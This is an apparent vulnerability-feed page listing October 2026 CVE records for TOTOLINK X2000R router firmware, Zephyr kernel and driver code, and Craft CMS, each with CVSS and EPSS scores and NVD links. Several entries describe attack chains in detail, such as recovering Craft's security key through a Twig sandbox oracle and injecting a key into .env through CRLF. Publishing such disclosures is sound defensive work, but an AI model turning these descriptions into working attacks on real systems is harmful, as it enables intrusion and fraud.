A OS command injection vulnerability exists in the boa formUpload() functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.
CVSS 9.1 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-10138).
EPSS 1.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-10138&date=2026-10-25).
Sources:
NVD CVE-2026-10138: https://nvd.nist.gov/vuln/detail/CVE-2026-10138
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-10138&date=2026-10-25
A OS command injection vulnerability exists in the boa formUpload() functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A stack-based buffer overflow vulnerability exists in the boa formUpload() functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327).
https://kevwire.com/record/CVE-2026-10137
A stack-based buffer overflow vulnerability exists in the boa formUpload() functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). (Oct 20, 2026).
A stack-based buffer overflow vulnerability exists in the boa formUpload() functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.
CVSS 9.1 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-10137).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-10137&date=2026-10-25).
Sources:
NVD CVE-2026-10137: https://nvd.nist.gov/vuln/detail/CVE-2026-10137
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-10137&date=2026-10-25
A stack-based buffer overflow vulnerability exists in the boa formUpload() functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A heap-based buffer overflow vulnerability exists in the boa formUpload() functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327).
https://kevwire.com/record/CVE-2026-10136
A heap-based buffer overflow vulnerability exists in the boa formUpload() functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). (Oct 20, 2026).
A heap-based buffer overflow vulnerability exists in the boa formUpload() functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.
CVSS 9.1 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-10136).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-10136&date=2026-10-25).
Sources:
NVD CVE-2026-10136: https://nvd.nist.gov/vuln/detail/CVE-2026-10136
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-10136&date=2026-10-25
A heap-based buffer overflow vulnerability exists in the boa formUpload() functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A OS command injection vulnerability exists in the batchupg functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327).
https://kevwire.com/record/CVE-2026-10135
A OS command injection vulnerability exists in the batchupg functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). (Oct 20, 2026).
A OS command injection vulnerability exists in the batchupg functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.
CVSS 9.1 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-10135).
EPSS 1.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-10135&date=2026-10-25).
Sources:
NVD CVE-2026-10135: https://nvd.nist.gov/vuln/detail/CVE-2026-10135
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-10135&date=2026-10-25
A OS command injection vulnerability exists in the batchupg functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A stack-based buffer overflow vulnerability exists in the batchupg functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327).
https://kevwire.com/record/CVE-2026-10133
A stack-based buffer overflow vulnerability exists in the batchupg functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). (Oct 20, 2026).
A stack-based buffer overflow vulnerability exists in the batchupg functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.
CVSS 9.1 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-10133).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-10133&date=2026-10-25).
Sources:
NVD CVE-2026-10133: https://nvd.nist.gov/vuln/detail/CVE-2026-10133
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-10133&date=2026-10-25
A stack-based buffer overflow vulnerability exists in the batchupg functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A stack-based buffer overflow vulnerability exists in the boa formIpQos mac functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327).
https://kevwire.com/record/CVE-2026-10132
A stack-based buffer overflow vulnerability exists in the boa formIpQos mac functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). (Oct 20, 2026).
A stack-based buffer overflow vulnerability exists in the boa formIpQos mac functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.
CVSS 9.1 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-10132).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-10132&date=2026-10-25).
Sources:
NVD CVE-2026-10132: https://nvd.nist.gov/vuln/detail/CVE-2026-10132
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-10132&date=2026-10-25
A stack-based buffer overflow vulnerability exists in the boa formIpQos mac functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An OS command injection vulnerability exists in the boa formPasswordSetup functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327).
https://kevwire.com/record/CVE-2026-10131
An OS command injection vulnerability exists in the boa formPasswordSetup functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). (Oct 20, 2026).
An OS command injection vulnerability exists in the boa formPasswordSetup functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.
CVSS 9.1 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-10131).
EPSS 1.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-10131&date=2026-10-25).
Sources:
NVD CVE-2026-10131: https://nvd.nist.gov/vuln/detail/CVE-2026-10131
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-10131&date=2026-10-25
An OS command injection vulnerability exists in the boa formPasswordSetup functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The MCTP-over-I2C+GPIO target binding in subsys/pmci/mctp/mctp_i2c_gpio_target.c emulates a small pseudo-register file, where the bus controller first writes a register number and...
https://kevwire.com/record/CVE-2026-79976
The MCTP-over-I2C+GPIO target binding in subsys/pmci/mctp/mctp_i2c_gpio_target.c emulates a small pseudo-register file, where the bus controller first writes a register number and... (Oct 21, 2026).
The MCTP-over-I2C+GPIO target binding in subsys/pmci/mctp/mctp_i2c_gpio_target.c emulates a small pseudo-register file, where the bus controller first writes a register number and then writes or reads payload bytes. The selected register (b->reg_addr) and the data-phase flag (b->rxtx) were never cleared when the controller issued an I2C STOP, so after a completed transfer the target still had a data register selected while the packet buffer that register refers to had already been consumed and set to NULL by mctp_i2c_gpio_target_stop().

A controller on the bus can re-enter the same branch of mctp_i2c_gpio_target_stop() with a NULL buffer using two ordinary transactions and no authentication: first a normal packet write to MCTP_I2C_GPIO_RX_MSG_ADDR followed by STOP (which delivers and frees b->rx_pkt), then a bare read transaction followed by STOP. The failing read_requested() call leaves the stale state untouched and the I2C driver still delivers the STOP callback, which then calls mctp_bus_rx() with a NULL packet. The symmetric case exists on the transmit side, where the stale MCTP_I2C_GPIO_TX_MSG_ADDR selection dereferences b->tx_pkt->end after b->tx_pkt has been cleared and additionally signals b->tx_complete a second time, causing the next outbound packet to be dropped.

The dereference happens in the I2C target interrupt handler, so on any target that traps accesses to address 0 the result is a fatal exception and a device reset or halt — a denial of service inflicted by any device able to act as controller on the shared management bus (for example compromised firmware on a peer MCTP endpoint or on the BMC). On parts where address 0 is readable, the impact degrades to a malformed packet buffer being handed to the MCTP stack and lost transmit packets. No attacker-controlled value is written and no confidentiality or integrity boundary is crossed.

The fix resets b->reg_addr to MCTP_I2C_GPIO_INVALID_ADDR and clears b->rxtx at every STOP, so a new register must be selected before any data phase can run again. Only builds that opt into the experimental CONFIG_MCTP subsystem with CONFIG_MCTP_I2C_GPIO_TARGET=y are affected.
CVSS 7.1 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79976).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79976&date=2026-10-25).
Sources:
NVD CVE-2026-79976: https://nvd.nist.gov/vuln/detail/CVE-2026-79976
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79976&date=2026-10-25
The MCTP-over-I2C+GPIO target binding in subsys/pmci/mctp/mctp_i2c_gpio_target.c emulates a small pseudo-register file, where the bus controller first writes a register number and then writes or reads payload bytes. The selected register (b->reg_addr) and the data-phase flag (b->rxtx) were never cleared when the controller issued an I2C STOP, so after a completed transfer the target still had a data register selected while the packet buffer that register refers to had already been consumed and set to NULL by mctp_i2c_gpio_target_stop().

A controller on the bus can re-enter the same branch of mctp_i2c_gpio_target_stop() with a NULL buffer using two ordinary transactions and no authentication: first a normal packet write to MCTP_I2C_GPIO_RX_MSG_ADDR followed by STOP (which delivers and frees b->rx_pkt), then a bare read transaction followed by STOP. The failing read_requested() call leaves the stale state untouched and the I2C driver still delivers the STOP callback, which then calls mctp_bus_rx() with a NULL packet. The symmetric case exists on the transmit side, where the stale MCTP_I2C_GPIO_TX_MSG_ADDR selection dereferences b->tx_pkt->end after b->tx_pkt has been cleared and additionally signals b->tx_complete a second time, causing the next outbound packet to be dropped.

The dereference happens in the I2C target interrupt handler, so on any target that traps accesses to address 0 the result is a fatal exception and a device reset or halt — a denial of service inflicted by any device able to act as controller on the shared management bus (for example compromised firmware on a peer MCTP endpoint or on the BMC). On parts where address 0 is readable, the impact degrades to a malformed packet buffer being handed to the MCTP stack and lost transmit packets. No attacker-controlled value is written and no confidentiality or integrity boundary is crossed.

The fix resets b->reg_addr to MCTP_I2C_GPIO_INVALID_ADDR and clears b->rxtx at every STOP, so a new register must be selected before any data phase can run again. Only builds that opt into the experimental CONFIG_MCTP subsystem with CONFIG_MCTP_I2C_GPIO_TARGET=y are affected.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The kernel helper z_waitq_head() (kernel/include/wait_q.h) reads the head of a thread wait queue, but on SMP systems it was called from several places without holding the...
https://kevwire.com/record/CVE-2026-78118
The kernel helper z_waitq_head() (kernel/include/wait_q.h) reads the head of a thread wait queue, but on SMP systems it was called from several places without holding the... (Oct 21, 2026).
The kernel helper z_waitq_head() (kernel/include/wait_q.h) reads the head of a thread wait queue, but on SMP systems it was called from several places without holding the scheduler spinlock _sched_spinlock that serializes wait-queue mutation. The consequential call site is z_timer_expiration_handler() in kernel/timer.c, which held only the timer subsystem lock timer_lock while reading timer->wait_q and then unpending, setting the return value of, and readying the thread it obtained. halt_thread() in kernel/sched.c removes an aborted thread from its wait queue while holding only _sched_spinlock, so the two paths are not mutually exclusive.

When the last waiter is removed on another CPU inside that window, sys_dlist_peek_head() can return the list sentinel — a pointer into the k_timer object itself — typed as a struct k_thread * (with CONFIG_WAITQ_SCALABLE, rb_get_min() can return an arbitrary node of a tree being restructured), or it can return a pointer to a thread that has already been unpended and, for dynamically allocated threads, freed. The handler then calls unpend_thread_no_timeout(), which performs a sys_dlist_remove() through pointers read from that object, and arch_thread_return_value_set(), which writes unconditionally through the pointer.

The result is out-of-bounds and use-after-free writes in supervisor context, plus scheduler state corruption; a milder outcome is a thread that has re-pended elsewhere being woken with a success return value from an unrelated blocking call. All of the primitives needed to drive the interleaving — k_timer_start(), k_timer_status_sync(), k_thread_create() and k_thread_abort() — are system calls, so with CONFIG_USERSPACE enabled an unprivileged user-mode thread can attempt the race against kernel-owned data.

Exploitation requires a multi-CPU build (CONFIG_MP_MAX_NUM_CPUS greater than one; the affected region is a no-op on uniprocessor targets), local code execution, and winning a narrow timing window, so the practical outcome is most often a kernel crash rather than controlled corruption. The fix splits the helper into z_waitq_head_locked() for callers that already hold the scheduler spinlock and a z_waitq_head() th
CVSS 7.0 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-78118).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-78118&date=2026-10-25).
Sources:
NVD CVE-2026-78118: https://nvd.nist.gov/vuln/detail/CVE-2026-78118
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-78118&date=2026-10-25
The kernel helper z_waitq_head() (kernel/include/wait_q.h) reads the head of a thread wait queue, but on SMP systems it was called from several places without holding the scheduler spinlock _sched_spinlock that serializes wait-queue mutation. The consequential call site is z_timer_expiration_handler() in kernel/timer.c, which held only the timer subsystem lock timer_lock while reading timer->wait_q and then unpending, setting the return value of, and readying the thread it obtained. halt_thread() in kernel/sched.c removes an aborted thread from its wait queue while holding only _sched_spinlock, so the two paths are not mutually exclusive.

When the last waiter is removed on another CPU inside that window, sys_dlist_peek_head() can return the list sentinel — a pointer into the k_timer object itself — typed as a struct k_thread * (with CONFIG_WAITQ_SCALABLE, rb_get_min() can return an arbitrary node of a tree being restructured), or it can return a pointer to a thread that has already been unpended and, for dynamically allocated threads, freed. The handler then calls unpend_thread_no_timeout(), which performs a sys_dlist_remove() through pointers read from that object, and arch_thread_return_value_set(), which writes unconditionally through the pointer.

The result is out-of-bounds and use-after-free writes in supervisor context, plus scheduler state corruption; a milder outcome is a thread that has re-pended elsewhere being woken with a success return value from an unrelated blocking call. All of the primitives needed to drive the interleaving — k_timer_start(), k_timer_status_sync(), k_thread_create() and k_thread_abort() — are system calls, so with CONFIG_USERSPACE enabled an unprivileged user-mode thread can attempt the race against kernel-owned data.

Exploitation requires a multi-CPU build (CONFIG_MP_MAX_NUM_CPUS greater than one; the affected region is a no-op on uniprocessor targets), local code execution, and winning a narrow timing window, so the practical outcome is most often a kernel crash rather than controlled corruption. The fix splits the helper into z_waitq_head_locked() for callers that already hold the scheduler spinlock and a z_waitq_head() that acquires it, and brings the timer expiration handler's head read, unpend and ready under a single LOCK_SCHED_SPINLOCK region.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The user-mode verifier for the peci_transfer() system call, z_vrfy_peci_transfer() in drivers/peci/peci_handlers.c, checked only the device object permission and copied the...
https://kevwire.com/record/CVE-2026-19676
The user-mode verifier for the peci_transfer() system call, z_vrfy_peci_transfer() in drivers/peci/peci_handlers.c, checked only the device object permission and copied the... (Oct 21, 2026).
The user-mode verifier for the peci_transfer() system call, z_vrfy_peci_transfer() in drivers/peci/peci_handlers.c, checked only the device object permission and copied the caller-supplied struct peci_msg with k_usermode_from_copy(). That copy validates the outer structure only; the buf pointers and len values inside the embedded struct peci_buf members tx_buffer and rx_buffer remained fully caller-controlled and were passed unchecked to the driver.

Every in-tree PECI driver dereferences those pointers in supervisor mode: peci_npcx_transfer() in drivers/peci/peci_npcx.c and peci_it8xxx2_transfer() in drivers/peci/peci_ite_it8xxx2.c copy hardware bytes into rx_buffer.buf[i] and read command bytes out of tx_buffer.buf[i], and peci_xec_read()/peci_xec_write() in drivers/peci/peci_mchp_xec.c do the same with no bound on rx_buffer.len at all. A user-mode thread that has been granted the PECI device object — the normal way an application exposes a device under CONFIG_USERSPACE — could therefore point rx_buffer.buf at kernel data structures and have the driver write hardware-supplied bytes there, or point tx_buffer.buf at kernel memory and have its contents pushed onto the PECI/eSPI out-of-band bus.

The impact is a full user-mode-to-kernel escape: an arbitrary kernel write primitive (integrity and, through it, code execution at supervisor privilege), an arbitrary kernel read disclosed to a PECI bus observer, and a trivially reachable supervisor-mode fault if an unmapped address is supplied. Exploitation requires CONFIG_USERSPACE=y, one of the PECI drivers enabled (CONFIG_PECI_NPCX, CONFIG_PECI_XEC or CONFIG_PECI_ITE_IT8XXX2), and local code execution in a user-mode thread holding the PECI device.

The fix adds K_SYSCALL_MEMORY_READ() and K_SYSCALL_MEMORY_WRITE() checks over the two embedded buffers, with a size_add_overflow() guard on the frame-check-sequence byte accounted for in the RX length.
CVSS 7.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-19676).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-19676&date=2026-10-25).
Sources:
NVD CVE-2026-19676: https://nvd.nist.gov/vuln/detail/CVE-2026-19676
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-19676&date=2026-10-25
The user-mode verifier for the peci_transfer() system call, z_vrfy_peci_transfer() in drivers/peci/peci_handlers.c, checked only the device object permission and copied the caller-supplied struct peci_msg with k_usermode_from_copy(). That copy validates the outer structure only; the buf pointers and len values inside the embedded struct peci_buf members tx_buffer and rx_buffer remained fully caller-controlled and were passed unchecked to the driver.

Every in-tree PECI driver dereferences those pointers in supervisor mode: peci_npcx_transfer() in drivers/peci/peci_npcx.c and peci_it8xxx2_transfer() in drivers/peci/peci_ite_it8xxx2.c copy hardware bytes into rx_buffer.buf[i] and read command bytes out of tx_buffer.buf[i], and peci_xec_read()/peci_xec_write() in drivers/peci/peci_mchp_xec.c do the same with no bound on rx_buffer.len at all. A user-mode thread that has been granted the PECI device object — the normal way an application exposes a device under CONFIG_USERSPACE — could therefore point rx_buffer.buf at kernel data structures and have the driver write hardware-supplied bytes there, or point tx_buffer.buf at kernel memory and have its contents pushed onto the PECI/eSPI out-of-band bus.

The impact is a full user-mode-to-kernel escape: an arbitrary kernel write primitive (integrity and, through it, code execution at supervisor privilege), an arbitrary kernel read disclosed to a PECI bus observer, and a trivially reachable supervisor-mode fault if an unmapped address is supplied. Exploitation requires CONFIG_USERSPACE=y, one of the PECI drivers enabled (CONFIG_PECI_NPCX, CONFIG_PECI_XEC or CONFIG_PECI_ITE_IT8XXX2), and local code execution in a user-mode thread holding the PECI device.

The fix adds K_SYSCALL_MEMORY_READ() and K_SYSCALL_MEMORY_WRITE() checks over the two embedded buffers, with a size_add_overflow() guard on the frame-check-sequence byte accounted for in the RX length.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Craft CMS allows any authenticated control panel user to submit an element-search condition whose element selector is evaluated as a sandboxed Twig object template.
https://kevwire.com/record/CVE-2026-115938
Craft CMS allows any authenticated control panel user to submit an element-search condition whose element selector is evaluated as a sandboxed Twig object template. (Oct 23, 2026).
Craft CMS allows any authenticated control panel user to submit an element-search condition whose element selector is evaluated as a sandboxed Twig object template. Craft’s allowed column filter delegates property lookup to Yii ArrayHelper, outside Twig’s SecurityPolicy. Repeated single-segment lookups therefore bypass the sandbox’s empty property/method allowlists.



The vulnerable condition value is ultimately cast to an integer. That does not protect the secret: the template can return author ID 1 when a guessed key character is correct and an impossible ID otherwise. The JSON endpoint returns entries for the first case and an empty array for the second, forming a stable remote character oracle.



After recovering GeneralConfig::securityKey, the same user can compute Craft’s generic HMAC wire format offline. Signed parameters such as redirect are then accepted and passed to unsandboxed View::renderObjectTemplate(), where Twig’s string-callable form can invoke native PHP callables. The regression proof uses the harmless substr() callback and observes abcdef becoming cdef; it does not execute an OS command.
CVSS 8.7 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115938).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115938&date=2026-10-25).
Sources:
NVD CVE-2026-115938: https://nvd.nist.gov/vuln/detail/CVE-2026-115938
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115938&date=2026-10-25
Craft CMS allows any authenticated control panel user to submit an element-search condition whose element selector is evaluated as a sandboxed Twig object template. Craft’s allowed column filter delegates property lookup to Yii ArrayHelper, outside Twig’s SecurityPolicy. Repeated single-segment lookups therefore bypass the sandbox’s empty property/method allowlists.



The vulnerable condition value is ultimately cast to an integer. That does not protect the secret: the template can return author ID 1 when a guessed key character is correct and an impossible ID otherwise. The JSON endpoint returns entries for the first case and an empty array for the second, forming a stable remote character oracle.



After recovering GeneralConfig::securityKey, the same user can compute Craft’s generic HMAC wire format offline. Signed parameters such as redirect are then accepted and passed to unsandboxed View::renderObjectTemplate(), where Twig’s string-callable form can invoke native PHP callables. The regression proof uses the harmless substr() callback and observes abcdef becoming cdef; it does not execute an OS command.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Mollie webhook endpoint accepts two independent, attacker-controlled parameters and never verifies that they belong together:

  *  commerceTransactionHash — selects which...
https://kevwire.com/record/CVE-2026-115937
The Mollie webhook endpoint accepts two independent, attacker-controlled parameters and never verifies that they belong together:

  *  commerceTransactionHash — selects which... (Oct 23, 2026).
The Mollie webhook endpoint accepts two independent, attacker-controlled parameters and never verifies that they belong together:

  *  commerceTransactionHash — selects which Craft Commerce transaction is completed
  *  id — selects which Mollie payment is queried for its status




An unauthenticated attacker holding any paid Mollie payment ID from the merchant’s account can pair it with any transaction hash.



Commerce queries Mollie, sees status: paid, and marks the target transaction successful for that transaction’s full
amount, regardless of how much was actually paid.
CVSS 8.7 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115937).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115937&date=2026-10-25).
Sources:
NVD CVE-2026-115937: https://nvd.nist.gov/vuln/detail/CVE-2026-115937
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115937&date=2026-10-25
The Mollie webhook endpoint accepts two independent, attacker-controlled parameters and never verifies that they belong together:

  *  commerceTransactionHash — selects which Craft Commerce transaction is completed
  *  id — selects which Mollie payment is queried for its status




An unauthenticated attacker holding any paid Mollie payment ID from the merchant’s account can pair it with any transaction hash.



Commerce queries Mollie, sees status: paid, and marks the target transaction successful for that transaction’s full
amount, regardless of how much was actually paid.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The app/process-api-response-headers action accepts fake Craft API response headers from any authenticated control panel user.
https://kevwire.com/record/CVE-2026-115935
The app/process-api-response-headers action accepts fake Craft API response headers from any authenticated control panel user. (Oct 23, 2026).
The app/process-api-response-headers action accepts fake Craft API response headers from any authenticated control panel user.



A non-admin user with only accessCp can place newline characters in X-Craft-Plugin-Licenses. Craft passes this value to its .env writer without removing the newlines.



This lets the user insert a new attacker-known CRAFT_SECURITY_KEY into .env. After Craft loads that key, the user can forge a signed login redirect containing a Twig system() callback.



This is different from the previous report. That report reads the existing key through a Twig sandbox bypass. This report replaces the key through fake API headers and CRLF injection. Fixing either source does not fix the other.
CVSS 8.7 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115935).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115935&date=2026-10-25).
Sources:
NVD CVE-2026-115935: https://nvd.nist.gov/vuln/detail/CVE-2026-115935
